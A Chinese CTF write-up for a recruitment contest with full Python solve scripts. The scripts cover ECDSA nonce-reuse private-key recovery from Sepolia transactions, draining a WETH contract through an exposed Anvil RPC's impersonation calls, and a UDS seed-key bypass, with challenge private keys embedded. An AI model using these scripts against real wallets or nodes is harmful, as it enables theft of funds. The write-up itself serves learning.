polar招新赛wp-misc篇

misc

抄作业

from web3 import Web3

import requests

import time

RPC_URL = "http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/rpc"

PLAYER = "0x31BA9B7D5b2593772137979306e3faE2A367E74D"

PRIVATE_KEY = "0x6b1d7f04f79eb5caa2f67beefa542656555f0285cffc6a361f44d8e384917df7"

TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1"

w3 = Web3(Web3.HTTPProvider(RPC_URL))

print(f"连接状态: {w3.is_connected()}")

print("=== 分析函数 0x5e36bdc6 ===")

for addr in [PLAYER, "0x0000000000000000000000000000000000000000", TARGET]:

calldata = "0x5e36bdc6" + addr[2:].zfill(64)

try:

result = w3.eth.call({

'to': TARGET,

'data': calldata

})

value = int.from_bytes(result, 'big')

print(f" {addr}: {value} ({bool(value)})")

except Exception as e:

print(f" {addr}: 失败 - {e}")

print("
=== 分析函数 0xaab2fcd2 ===")

print("尝试调用 0xaab2fcd2...")

test_cases = [

(1, 1, 2),

(2, 3, 5),

(10, 20, 30),

(100, 200, 300),

(0, 0, 0),

(1, 2, 3),

(5, 5, 10),

(1000000000000000000, 1000000000000000000, 2000000000000000000),

]

for a, b, c in test_cases:

calldata = "0xaab2fcd2" + hex(a)[2:].zfill(64) + hex(b)[2:].zfill(64) + hex(c)[2:].zfill(64)

try:

# 先尝试 view 调用

result = w3.eth.call({

'to': TARGET,

'data': calldata

})

print(f" view 调用成功: {a} + {b} = {c} -> {result.hex()}")

except Exception as e:

# view 失败可能是因为会修改状态,尝试发送交易

try:

nonce = w3.eth.get_transaction_count(PLAYER)

tx = {

'from': PLAYER,

'to': TARGET,

'data': calldata,

'nonce': nonce,

'gas': 100000,

'gasPrice': w3.eth.gas_price

}

# 估算 gas

gas = w3.eth.estimate_gas(tx)

tx['gas'] = gas

signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)

tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)

print(f" 交易已发送: {tx_hash.hex()} (参数: {a}, {b}, {c})")

receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(f" 交易状态: {'✅ 成功' if receipt.status == 1 else '❌ 失败'}")

if receipt.status == 1:

print(f"
🎉 找到正确的参数! {a} + {b} = {c}")

# 检查玩家状态是否被设置

calldata_check = "0x5e36bdc6" + PLAYER[2:].zfill(64)

result = w3.eth.call({

'to': TARGET,

'data': calldata_check

})

player_status = int.from_bytes(result, 'big')

print(f"玩家状态变为: {player_status}")

# 检查解题状态

time.sleep(2)

response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})

data = response.json()

if data.get('solved'):

print(f"
🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉")

break

except Exception as e:

print(f" 交易失败: {e}")

print("
=== 从字节码解读验证逻辑 ===")

print("
尝试其他运算...")

for a, b, c in [(2, 3, 6), (3, 4, 12), (5, 5, 25)]:

calldata = "0xaab2fcd2" + hex(a)[2:].zfill(64) + hex(b)[2:].zfill(64) + hex(c)[2:].zfill(64)

try:

nonce = w3.eth.get_transaction_count(PLAYER)

tx = {

'from': PLAYER,

'to': TARGET,

'data': calldata,

'nonce': nonce,

'gas': 100000,

'gasPrice': w3.eth.gas_price

}

signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)

tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)

print(f" 乘法测试 {a}*{b}={c}: {tx_hash.hex()}")

receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

if receipt.status == 1:

print(f" ✅ 成功!")

break

else:

print(f" ❌ 失败")

except Exception as e:

print(f" 失败: {e}")

print("
尝试减法...")

for a, b, c in [(5, 3, 2), (10, 4, 6), (100, 30, 70)]:

calldata = "0xaab2fcd2" + hex(a)[2:].zfill(64) + hex(b)[2:].zfill(64) + hex(c)[2:].zfill(64)

try:

nonce = w3.eth.get_transaction_count(PLAYER)

tx = {

'from': PLAYER,

'to': TARGET,

'data': calldata,

'nonce': nonce,

'gas': 100000,

'gasPrice': w3.eth.gas_price

}

signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)

tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)

receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

if receipt.status == 1:

print(f" ✅ 成功! {a}-{b}={c}")

break

except:

pass

print("
=== 尝试直接解题 ===")

calldata_solve = "0xaab2fcd2" + hex(1)[2:].zfill(64) + hex(2)[2:].zfill(64) + hex(3)[2:].zfill(64)

try:

nonce = w3.eth.get_transaction_count(PLAYER)

tx = {

'from': PLAYER,

'to': TARGET,

'data': calldata_solve,

'nonce': nonce,

'gas': 100000,

'gasPrice': w3.eth.gas_price

}

signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)

tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)

receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

print(f"交易状态: {'成功' if receipt.status == 1 else '失败'}")

if receipt.status == 1:

# 检查玩家状态

calldata_check = "0x5e36bdc6" + PLAYER[2:].zfill(64)

result = w3.eth.call({

'to': TARGET,

'data': calldata_check

})

player_status = int.from_bytes(result, 'big')

print(f"玩家状态: {player_status}")

# 检查 flag

response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})

data = response.json()

if data.get('solved'):

print(f"
🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉")

else:

print("未解决,可能需要正确的参数")

except Exception as e:

print(f"交易失败: {e}")

print("
=== 等待最终结果 ===")

time.sleep(3)

response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})

print(f"最终解题状态: {response.json()}"

口算私钥

1. 不能从地址「反推」随机私钥;题面「口算」暗示私钥有规律或信息泄露。

2. 在 Sepolia 上查看该地址交易:仅有 两笔转出,且两笔 ECDSA 签名的 **`r` 完全相同**

3. 这说明两次签名 **复用了同一个随机数 `k`**(nonce reuse),属于经典实现错误,可用两条消息的哈希 `z1,z2` 与 `(r,s1),(r,s2)` 在 secp256k1 阶 `n` 下恢复私钥。

4. 链上记录的 `s` 与签名方程中使用的有效值可能对应 **`s` 或 `n-s`(可锻性)**,且不一定与「`s > n/2`」简单对应。实操应对 **`(s1, s2)` 在 `{s, n-s}` 下枚举少量组合**,用恢复出的地址是否等于题目 `owner` 来判定哪一组正确(脚本里已自动完成)。

恢复出 owner 私钥后,在题目链上对公布的 Challange 地址调用 solve(),再请求题目站的 POST /api/solve 拿 flag。

数学要点(nonce reuse)

给定 ECDSA(secp256k1)签名公式:

s≡k−1(z+rd)(modn)

若同一私钥 dd、同一随机数 kk 签署了两条不同消息,则 rr 相同,于是:

{s1≡k−1(z1+rd)(modn)s2≡k−1(z2+rd)(modn)

两式相减得:

s1−s2≡k−1(z1−z2)(modn)

整理得:

k≡(z1−z2)(s1−s2)−1(modn)

代回原式求私钥 d:

d≡r−1(s1k−z1)(modn)

其中 (s1−s2)−1和 r−1均在模 nn 下求逆元。

其中 \(z_i\) 为 该笔交易在 EIP-155 下用于签名的哈希(Legacy:`keccak256(RLP([nonce, gasPrice, gas, to, value, data, chainId, 0, 0]))`),实现上可直接使用 `eth_account` 对未签名交易做 RLP 再 `keccak`。

Sepolia 上用于恢复的两笔交易(示例)

(以题面当时数据为准,若区块浏览器排序变化以「同一 r 的两笔转出」为准。)

顺序 Tx
nonce 0 0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380
nonce 1 0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b

两笔 r 均为 0xd67a8d3fddda5bfc00366b6dd51278e14593cace8154d20136c21567456e1937。

恢复结果与「口算」感

正确处理后得到的私钥为 **16 段重复的 `0xf149`**,即高度规律、便于记忆,与题目标题「口算私钥」呼应。

from future import annotations

import json

import os

import sys

import urllib.error

import urllib.request

from typing import Any

from eth_account import Account

from eth_account._utils.legacy_transactions import serializable_unsigned_transaction_from_dict

from eth_hash.auto import keccak

from rlp.codec import encode

secp256k1 order

N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

def _rpc(url: str, method: str, params: list[Any]) -> dict[str, Any]:

body = json.dumps({"jsonrpc": "2.0", "method": method, "params": params, "id": 1}).encode()

req = urllib.request.Request(

url,

data=body,

headers={

"Content-Type": "application/json",

"User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)",

},

method="POST",

)

with urllib.request.urlopen(req, timeout=60) as resp:

out = json.loads(resp.read().decode())

if "error" in out:

raise RuntimeError(out["error"])

return out["result"]

def _int_hex(x: str | int) -> int:

if isinstance(x, int):

return x

return int(x, 16)

def tx_to_unsigned_dict(tx: dict[str, Any]) -> dict[str, Any]:

inp = tx.get("input") or "0x"

data = bytes.fromhex(inp[2:]) if len(inp) > 2 else b""

return {

"nonce": _int_hex(tx["nonce"]),

"gasPrice": _int_hex(tx["gasPrice"]),

"gas": _int_hex(tx["gas"]),

"to": bytes.fromhex(tx["to"][2:]),

"value": _int_hex(tx["value"]),

"data": data,

"chainId": _int_hex(tx["chainId"]),

}

def signing_hash_legacy_eip155(tx: dict[str, Any]) -> int:

d = tx_to_unsigned_dict(tx)

ut = serializable_unsigned_transaction_from_dict(d)

return int(keccak(encode(ut)).hex(), 16)

def modinv(a: int, m: int = N) -> int:

return pow(a, -1, m)

def _recover_d_from_reuse(z1: int, z2: int, r: int, s1: int, s2: int) -> int | None:

s_diff = (s1 - s2) % N

if s_diff == 0:

return None

z_diff = (z1 - z2) % N

k = (z_diff * modinv(s_diff)) % N

if k == 0:

return None

return ((s1 * k - z1) % N * modinv(r)) % N

def recover_private_key_nonce_reuse(

tx1: dict[str, Any],

tx2: dict[str, Any],

*,

expected_address: str | None = None,

) -> bytes:

r1 = _int_hex(tx1["r"])

r2 = _int_hex(tx2["r"])

if r1 != r2:

raise ValueError("r 不同,不是典型的同 k 复用场景")

z1 = signing_hash_legacy_eip155(tx1)

z2 = signing_hash_legacy_eip155(tx2)

raw_s1 = _int_hex(tx1["s"])

raw_s2 = _int_hex(tx2["s"])

candidates: list[tuple[int, int]] = [

(raw_s1, raw_s2),

(raw_s1, N - raw_s2),

(N - raw_s1, raw_s2),

(N - raw_s1, N - raw_s2),

]

found: list[bytes] = []

for s1, s2 in candidates:

d = _recover_d_from_reuse(z1, z2, r1, s1, s2)

if d is None or d == 0:

continue

pk = d.to_bytes(32, "big")

try:

addr = Account.from_key(pk).address

except Exception:

continue

if expected_address is None or addr.lower() == expected_address.lower():

found.append(pk)

if not found:

raise ValueError("无法用 k 复用公式恢复私钥(检查交易类型/哈希是否为 EIP-155 Legacy)")

if expected_address is not None:

return found[0]

# 未指定期望地址时:若多种 (s 形式) 都产生合法私钥,优先返回第一个(调用方应传入 expected_address)

return found[0]

def fetch_flag(base_url: str) -> dict[str, Any]:

url = base_url.rstrip("/") + "/api/solve"

req = urllib.request.Request(

url,

data=b"{}",

headers={

"Content-Type": "application/json",

"User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)",

},

method="POST",

)

with urllib.request.urlopen(req, timeout=60) as resp:

return json.loads(resp.read().decode())

def send_solve_challenge(

challenge_rpc: str,

challange_addr: str,

owner_key: bytes,

) -> str:

acct = Account.from_key(owner_key)

res_nonce = _rpc(challenge_rpc, "eth_getTransactionCount", [acct.address, "latest"])

nonce = int(res_nonce, 16)

chain_id = int(_rpc(challenge_rpc, "eth_chainId", []), 16)

gas_price = int(_rpc(challenge_rpc, "eth_gasPrice", []), 16)

sel = keccak(b"solve()")[:4]

data = "0x" + sel.hex()

tx = {

"nonce": nonce,

"gasPrice": gas_price,

"gas": 100_000,

"to": challange_addr,

"value": 0,

"data": data,

"chainId": chain_id,

}

signed = acct.sign_transaction(tx)

raw = signed.raw_transaction.hex()

if not raw.startswith("0x"):

raw = "0x" + raw

return str(_rpc(challenge_rpc, "eth_sendRawTransaction", [raw]))

def main() -> int:

sepolia_rpc = os.environ.get(

"SEPOLIA_RPC",

"https://ethereum-sepolia-rpc.publicnode.com",

)

tx_a = os.environ.get(

"SEPOLIA_TX1",

"0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380",

)

tx_b = os.environ.get(

"SEPOLIA_TX2",

"0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b",

)

challenge_rpc = os.environ.get(

"CHALLENGE_RPC",

"http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn/rpc",

)

challenge_origin = os.environ.get(

"CHALLENGE_ORIGIN",

"http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn",

)

challange_addr = os.environ.get(

"CHALLANGE",

"0x75537828f2ce51be7289709686A69CbFDbB714F1",

)

print("[*] Sepolia: 拉取交易 …")

t1 = _rpc(sepolia_rpc, "eth_getTransactionByHash", [tx_a])

t2 = _rpc(sepolia_rpc, "eth_getTransactionByHash", [tx_b])

if not t1 or not t2:

print("[-] 无法获取交易(检查哈希或 RPC)", file=sys.stderr)

return 1

expected_owner = os.environ.get(

"EXPECTED_OWNER",

"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934",

)

pk = recover_private_key_nonce_reuse(

t1, t2, expected_address=expected_owner

)

acct = Account.from_key(pk)

print(f"[+] 恢复私钥对应地址: {acct.address}")

print(f"[+] 私钥(仅用于 CTF 环境): 0x{pk.hex()}")

print("[*] 题目链: 发送 solve() …")

try:

txh = send_solve_challenge(challenge_rpc, challange_addr, pk)

print(f"[+] solve tx: {txh}")

except urllib.error.URLError as e:

print(f"[!] 发送 solve 失败(可能已解过或 RPC/网络问题): {e}")

print("[*] 请求 /api/solve …")

try:

data = fetch_flag(challenge_origin)

except urllib.error.URLError as e:

print(f"[-] 拉取 flag 失败: {e}", file=sys.stderr)

return 1

if data.get("solved"):

print(f"[+] flag: {data.get('flag')}")

return 0

print(f"[-] 未判定为已解: {data}", file=sys.stderr)

return 2

if name == "main":

raise SystemExit(main())

WhoRU?

思路:

1. 在附件中抓取不易随重构消失的特征:报错字符串、魔法数字、GET 参数名、算法步骤、常量命名等。

2. 使用 GitHub 代码搜索(需登录)或第三方索引(如 [grep.app](https://grep.app) 的 API:`https://grep.app/api/search?q=...`)在全站检索。

3. 命中仓库后,拉取 raw 源码与附件逐段对照,确认仅为改名/拆包而非巧合相似。

第一关:`1.java`

附件特征

  • 包名 com.ctf.micro.auth.plugin、类名 MicroAuthTokenManager,明显为出题人改写。

JWT 相关逻辑:AUTH_DISABLED_TOKEN = "AUTH_DISABLED"、createToken / getAuthentication、Base64 解码密钥等。

- 关键指纹:异常信息里固定出现笔误

`the length of secret key must great than or equal 32 bytes`(应为 greater)。

定位过程

在公开代码中检索上述句子或 `AUTH_DISABLED_TOKEN` 与 JWT 管理类组合,可定位到 Nacos 默认认证插件中的 `JwtTokenManager.java`(例如 `develop` 分支路径:`plugin-default-impl/nacos-default-auth-plugin/.../JwtTokenManager.java`)。

对照可见:附件删去了 Nacos 依赖与 NacosJwtParser,改用 JJWT 直写,但错误文案、AUTH_DISABLED 行为、tokenValidityInSeconds / encodedSecretKey 等与官方文件一致。

答案

alibaba_nacos

参考: [JwtTokenManager.java(alibaba/nacos)](https://github.com/alibaba/nacos/blob/develop/plugin-default-impl/nacos-default-auth-plugin/src/main/java/com/alibaba/nacos/plugin/auth/impl/token/impl/JwtTokenManager.java)

第二关:`2.cpp`

附件特征

类名 StreamStateAnalyzer,依赖 LookupTables.hpp、StreamStateAnalyzer.hpp。

- 核心为 ZIP Traditional Crypto(ZipCrypto) 已知明文攻击中的 Z-list 回溯:`recursiveZlistExploration`、`crc32inv`、由 keystream 字节枚举 `z` 低位、与 `MULT_INV`、`getFiber`(或等价 fiber 表)配合过滤 `Y` 状态等。

定位过程

StreamStateAnalyzer 等符号在索引中可能搜不到(已改名)。改搜算法结构:与经典实现 bkcrack 的 `Attack::exploreZlists` 逐行对应:

附件

bkcrack Attack.cpp

trigger / recursiveZlistExploration

carryout / exploreZlists

m_start_idx = offset + 1 - CONTIGUOUS_BLOCK_SIZE

index{index + 1 - Attack::contiguousSize}

LookupTables::getInvCrc32

Crc32Tab::getZim1_10_32

getZLowCandidates

KeystreamTab::getZi_2_16_vector

calcYHigh

Crc32Tab::getYi_24_32

getFiber / MAX_DIFF_24

MultTab::getMsbProdFiber3 / maxdiff<24>

可确认附件为 kimci86/bkcrack 中攻击逻辑的 CTF 改写版。

答案

kimci86_bkcrack

参考: [Attack.cpp(kimci86/bkcrack)](https://github.com/kimci86/bkcrack/blob/master/src/bkcrack/Attack.cpp)

第三关:`3.py`

附件特征

Django 视图:区块链记账、Merkle 根、SHA3-256 工作量证明、aadhar_no 登录等。

- 强特征字符串:GET 参数名 `createPoliticianParties`(拼写少见,与 `createRandomVoters`、`castRandomVote` 一起出现在「生成假数据」逻辑中)。

定位过程

对 `createPoliticianParties` 做全站代码检索,可唯一指向 akverma26/voting-system-using-block-chain 的 `home/views.py` 与对应模板。

对照原项目:

models → 题目中的 db_schemas(模型类改名)

methods_module → security_helpers(函数改名)

merkle_tool.MerkleTools → hash_generator.MerkleGraph

ts_data → backend_metrics

业务路径与模板名(如 candidate_details.html、create-dummy-data.html)仍一致。

答案

akverma26_voting-system-using-block-chain

参考: [voting-system-using-block-chain(akverma26)](https://github.com/akverma26/voting-system-using-block-chain)

image.png

flag:xmctf{ce678e59-8a2e-4946-9e1e-aef2ab985a85}

Wrapped Ether

RPC 为 Anvil(`client: anvil/v1.5.1`,`chainId: 31337`),且 JSON-RPC 对公网开放时仍允许测试用接口,例如:

anvil_impersonateAccount(address)

anvil_setBalance(address, balance)(按需给 impersonate 账户留 gas)

这相当于把「本地测试链上帝模式」暴露到了公网,**可伪造任意 `from` 发交易**

利用链

1. **冒充 `Setup` 合约地址**,对 WETH 调用

approve(player, type(uint256).max)。

- 正常链上 Setup 没有对外暴露 `approve` 的脚本,且玩家无法控制 Setup 私钥;这里靠 impersonate 完成。

玩家调用

transferFrom(Setup, player, balanceOf(Setup)),

把 Setup 的 10 ETH 账面 划到玩家。

3. 玩家作为 challenger 调用

withdraw(10 ether)(或等价数额),

将 WETH 内 全部原生 ETH 转给玩家,`address(weth).balance == 0`。

4. 题目页 「Check Solution」 对应 `POST /api/solve`,返回 flag。

---

关键信息(本实例)

RPC http://<实例域名>/rpc
WETH 0xCafac3dD18aC6c6e92c921884f9E4176737C052c
Setup 由部署交易回执得到(本环境为 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512)
玩家 题目给出的 Address / Private Key

Setup 地址可在区块浏览器式排查中定位:找 创建 WETH 的合约创建交易 的 `contractAddress`,或根据日志中 `Deposit` 的 `to` 推断。

---

Exploit 步骤小结

1. eth_call 读 balanceOf(Setup) 与 WETH 余额,确认目标数额。
2. anvil_impersonateAccount(Setup)
3. eth_sendTransaction { from: Setup, to: WETH, data: approve(player, MAX) }
4. 玩家签名发送 transferFrom(Setup, player, amt)
5. 玩家签名发送 withdraw(amt)
6. POST /api/solve → flag

#!/usr/bin/env python3

import json

import requests

from eth_abi import encode

from web3 import Web3

RPC = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn/rpc"

WETH = Web3.to_checksum_address("0xCafac3dD18aC6c6e92c921884f9E4176737C052c")

SETUP = Web3.to_checksum_address("0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512")

PLAYER_PK = "0x46e72a05b5571115a05144dd1093994b88eee07da1b42696289d24707821e0f"

w3 = Web3(Web3.HTTPProvider(RPC, request_kwargs={"timeout": 120}))

acct = w3.eth.account.from_key(PLAYER_PK)

PLAYER = acct.address

ABI = [

{"inputs": [{"name": "from", "type": "address"}, {"name": "to", "type": "address"}, {"name": "amount", "type": "uint256"}], "name": "transferFrom", "outputs": [], "stateMutability": "nonpayable", "type": "function"},

{"inputs": [{"name": "amount", "type": "uint256"}], "name": "withdraw", "outputs": [], "stateMutability": "nonpayable", "type": "function"},

{"inputs": [{"name": "a", "type": "address"}], "name": "balanceOf", "outputs": [{"type": "uint256"}], "stateMutability": "view", "type": "function"},

]

SETUP_ABI = [{"inputs": [], "name": "isSolved", "outputs": [{"type": "bool"}], "stateMutability": "view", "type": "function"}]

def jrpc(method: str, params: list) -> dict:

r = requests.post(RPC, json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params}, timeout=120)

r.raise_for_status()

out = r.json()

if "error" in out:

raise RuntimeError(out["error"])

return out["result"]

def main():

w = w3.eth.contract(address=WETH, abi=ABI)

setup_c = w3.eth.contract(address=SETUP, abi=SETUP_ABI)

amt = w.functions.balanceOf(SETUP).call()

print("WETH native (wei):", w3.eth.get_balance(WETH))

print("balanceOf[setup]:", amt)

print("isSolved (before):", setup_c.functions.isSolved().call())

# 1) Impersonate Setup and approve player (misconfigured public anvil RPC)

jrpc("anvil_impersonateAccount", [SETUP])

sel = Web3.keccak(text="approve(address,uint256)")[:4]

data = "0x" + sel.hex() + encode(["address", "uint256"], [PLAYER, 2**256 - 1]).hex()

tx_hash = jrpc(

"eth_sendTransaction",

[

{

"from": SETUP,

"to": WETH,

"data": data,

"gas": hex(500_000),

}

],

)

print("approve tx:", tx_hash)

rcpt = w3.eth.wait_for_transaction_receipt(tx_hash)

print("approve status:", rcpt.status)

# 2) Player: transferFrom then withdraw

c = w3.eth.contract(address=WETH, abi=ABI)

chain_id = w3.eth.chain_id

nonce = w3.eth.get_transaction_count(PLAYER)

gp = w3.eth.gas_price

def fill_and_sign(tx_dict, n):

tx_dict["chainId"] = chain_id

tx_dict["nonce"] = n

tx_dict["gas"] = 500_000

if "maxFeePerGas" not in tx_dict and "gasPrice" not in tx_dict:

tx_dict["gasPrice"] = int(gp * 2) or 10**9

return w3.eth.account.sign_transaction(tx_dict, PLAYER_PK)

t0 = c.functions.transferFrom(SETUP, PLAYER, amt).build_transaction({"from": PLAYER})

st0 = fill_and_sign(t0, nonce)

h0 = w3.eth.send_raw_transaction(st0.raw_transaction)

w3.eth.wait_for_transaction_receipt(h0)

print("transferFrom ok:", h0.hex())

t1 = c.functions.withdraw(amt).build_transaction({"from": PLAYER})

st1 = fill_and_sign(t1, nonce + 1)

h1 = w3.eth.send_raw_transaction(st1.raw_transaction)

w3.eth.wait_for_transaction_receipt(h1)

print("withdraw ok:", h1.hex())

print("WETH native (wei):", w3.eth.get_balance(WETH))

print("isSolved (after):", setup_c.functions.isSolved().call())

base = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn"

r = requests.post(f"{base}/api/solve", json={}, timeout=60)

print("solve API:", r.status_code, r.text)

if name == "main":

main()

ModelMark

Proof of Work

连接后服务端给出:

sha256(<salt> + x) 的十六进制以若干位 0 开头

对 x = 0, 1, 2, … 暴力枚举即可。难度较低时毫秒级到秒级可出解。

2. 观察数据与强特征

对 dataset_train.json 统计可得:

- DeepSeek-R1:回答里几乎总带 **`</think>`**(思维链结束标记),与其它三类几乎不重叠。

- Hunyuan:在没有 `</think>` 时,出现 **`很抱歉`** 的比例明显偏高(需先排除 DeepSeek,避免极少数 DeepSeek 样本同时含「很抱歉」被误判)。

据此可先写两条高置信规则,再对其余样本用分类器。

3. 文本分类(Qwen / GLM / 剩余情况)

仅用英文分词习惯的 word n-gram TF-IDF 对中文区分度一般(交叉验证约六成多),8 连对概率过低。

改用 字符 n-gram(如 2–5)提取特征,配合 线性 SVM(`LinearSVC`),在同一数据集上三折交叉验证可达约 九成 量级,足以实战稳定过关。

4. 精确匹配

若某轮 `question` + `answer` 与训练集完全一致,可直接查表得 `model`。数据中存在极个别 `(question, answer)` 对应两个模型的情况,需对候选列表做歧义处理(例如再交给分类器在候选内选)。

5. 协议与编码

-通信内容为 UTF-8,解析时用 `decode('utf-8')`。

每轮格式大致为:Question: / Answer: / Which model? / >,用正则取出问答正文后在超时前发送 1–4 与换行。

#!/usr/bin/env python3

"""ModelMark CTF: PoW + 连续 8 次模型归属判定。"""

import hashlib

import json

import os

import re

import socket

import time

from sklearn.feature_extraction.text import TfidfVectorizer

from sklearn.pipeline import Pipeline

from sklearn.svm import LinearSVC

MODELS = [

"Qwen/Qwen3-8B",

"deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",

"THUDM/GLM-4.1V-9B-Thinking",

"tencent/Hunyuan-MT-7B",

]

MODEL_TO_IDX = {m: i + 1 for i, m in enumerate(MODELS)}

def solve_pow(salt: str, difficulty: int) -> str:

prefix = "0" * difficulty

n = 0

while True:

x = str(n)

if hashlib.sha256((salt + x).encode()).hexdigest().startswith(prefix):

return x

n += 1

def build_lookup(data):

d = {}

for o in data:

k = (o["question"].strip(), o["answer"].strip())

if k not in d:

d[k] = []

d[k].append(o["model"])

return d

def train_classifier(data):

texts = [o["question"].strip() + "

" + o["answer"].strip() for o in data]

y = [o["model"] for o in data]

clf = Pipeline(

[

(

"tfidf",

TfidfVectorizer(

analyzer="char",

ngram_range=(2, 5),

max_features=120000,

min_df=2,

sublinear_tf=True,

),

),

("svc", LinearSVC(C=0.35, max_iter=6000, dual=False, random_state=0)),

]

)

clf.fit(texts, y)

return clf

def predict_model(lookup, clf, question: str, answer: str) -> int:

q, a = question.strip(), answer.strip()

key = (q, a)

if key in lookup:

cands = lookup[key]

if len(cands) == 1:

return MODEL_TO_IDX[cands[0]]

m = clf.predict([q + "

" + a])[0]

if m in cands:

return MODEL_TO_IDX[m]

return MODEL_TO_IDX[cands[0]]

if "</think>" in a:

return MODEL_TO_IDX["deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"]

if "很抱歉" in a:

return MODEL_TO_IDX["tencent/Hunyuan-MT-7B"]

m = clf.predict([q + "

" + a])[0]

return MODEL_TO_IDX[m]

def recv_idle(s: socket.socket, hint: bytes = b"", idle=0.25, max_wait=15.0) -> bytes:

buf = bytearray(hint)

deadline = time.time() + max_wait

s.settimeout(idle)

while time.time() < deadline:

try:

c = s.recv(262144)

if not c:

break

buf.extend(c)

except (TimeoutError, socket.timeout):

break

return bytes(buf)

def parse_qa(text: str):

m = re.search(

r"Question:\s*\r?
(.+?)\r
?
\r
?
Answer:\s*\r
?
(.+?)\r
?
\r
?
Which model\?
",

text,

re.DOTALL,

)

if not m:

return None, None

return m.group(1).strip(), m.group(2).strip()

def main():

base = os.path.dirname(os.path.abspath(file))

with open(os.path.join(base, "dataset_train.json"), encoding="utf-8") as f:

data = json.load(f)

lookup = build_lookup(data)

print("Training char n-gram LinearSVC...")

clf = train_classifier(data)

print("Ready.")

s = socket.create_connection(("nc1.ctfplus.cn", 42396), timeout=30)

buf = b""

s.settimeout(5)

while b"x =" not in buf:

buf += s.recv(8192)

t0 = buf.decode("utf-8", errors="replace")

m = re.search(r"sha256**\(([^)]+)\s*\+\s*x\)**", t0)

salt = m.group(1).strip()

dm = re.search(r"starts with (0+)", t0)

diff = len(dm.group(1)) if dm else 4

sol = solve_pow(salt, diff)

print("PoW:", sol)

s.sendall((sol + "
").encode())

tail = buf.split(b"x =", 1)[-1] if b"x =" in buf else b""

buf = recv_idle(s, hint=tail, idle=0.28, max_wait=18.0)

round_i = 0

while round_i < 25:

text = buf.decode("utf-8", errors="replace")

low = text.lower()

if "flag" in low or "ctf{" in text or "flag{" in text:

print(text)

break

if "wrong" in low or "incorrect" in low:

print("失败片段:
", text[-1200:])

q, a = parse_qa(text)

if q is None:

buf = recv_idle(s, idle=0.28, max_wait=10.0)

text = text + buf.decode("utf-8", errors="replace")

q, a = parse_qa(text)

if q is None:

print("无法解析:
", text[-1800:])

break

choice = predict_model(lookup, clf, q, a)

print(f"Round {round_i + 1}: choice {choice}")

s.sendall((str(choice) + "
").encode())

round_i += 1

buf = recv_idle(s, idle=0.32, max_wait=18.0)

s.close()

if name == "main":

main()

re

ez_uds

题目描述

题目提供了一个 ECU UDS Security Server,并提示支持的服务:

0x27 SecurityAccess

使用方法:

27 01 -> Request Seed

27 02 <4byteskey> -> Send Key

示例:

27 01

27 02 12 34 56 78

题目同时给出了 Key 计算算法:

def generate_seed():

return random.randint(0, 0xFFFFFFFF)

def calculate_key(seed):

key = seed ^ 0xA5A5A5A5

key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF

key = (key + 0x12345678) & 0xFFFFFFFF

return key

key的计算就是先异或,再左移3bit,加上常数,得到一个32bit key,

构造脚本发送2701,解析返回的seed,按算法算key,再发送2702+key得到flag

from pwn import *

import re

r = remote('nc1.ctfplus.cn', 46662)

def calculate_key(seed):

key = seed ^ 0xA5A5A5A5

key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF

key = (key + 0x12345678) & 0xFFFFFFFF

return key

# 接收 banner

print(r.recvuntil(b"Input HEX").decode())

# 请求 seed

print("[+] Requesting Seed")

r.sendline(b"2701")

#读取服务器返回

resp = r.recvline().decode()

print("[+] Raw Response:", resp)

#提取 hex

hex_data = re.findall(r"[0-9A-Fa-f]{2}", resp)

#seed 在最后4字节

seed_bytes = hex_data[-4:]

seed_hex = "".join(seed_bytes)

seed = int(seed_hex, 16)

print(f"[+] Seed: {seed_hex} (0x{seed:08x})")

#计算 key

key = calculate_key(seed)

key_hex = f"{key:08x}"

print(f"[+] Key: {key_hex}")

# 发送 key

payload = f"2702{key_hex}"

print("[+] Sending:", payload)

r.sendline(payload.encode())

# 获取 flag

print(r.recvall(timeout=3).decode())

image.png

Illusion

1. 题目概览

程序提示输入 flag,存在多条逻辑链:

- **`main`**:对输入做格式校验后,将花括号内 18 字节拷到全局 `Destination`,再调用 **`sub_140001440`** 与常量比对(实为 RC4)。

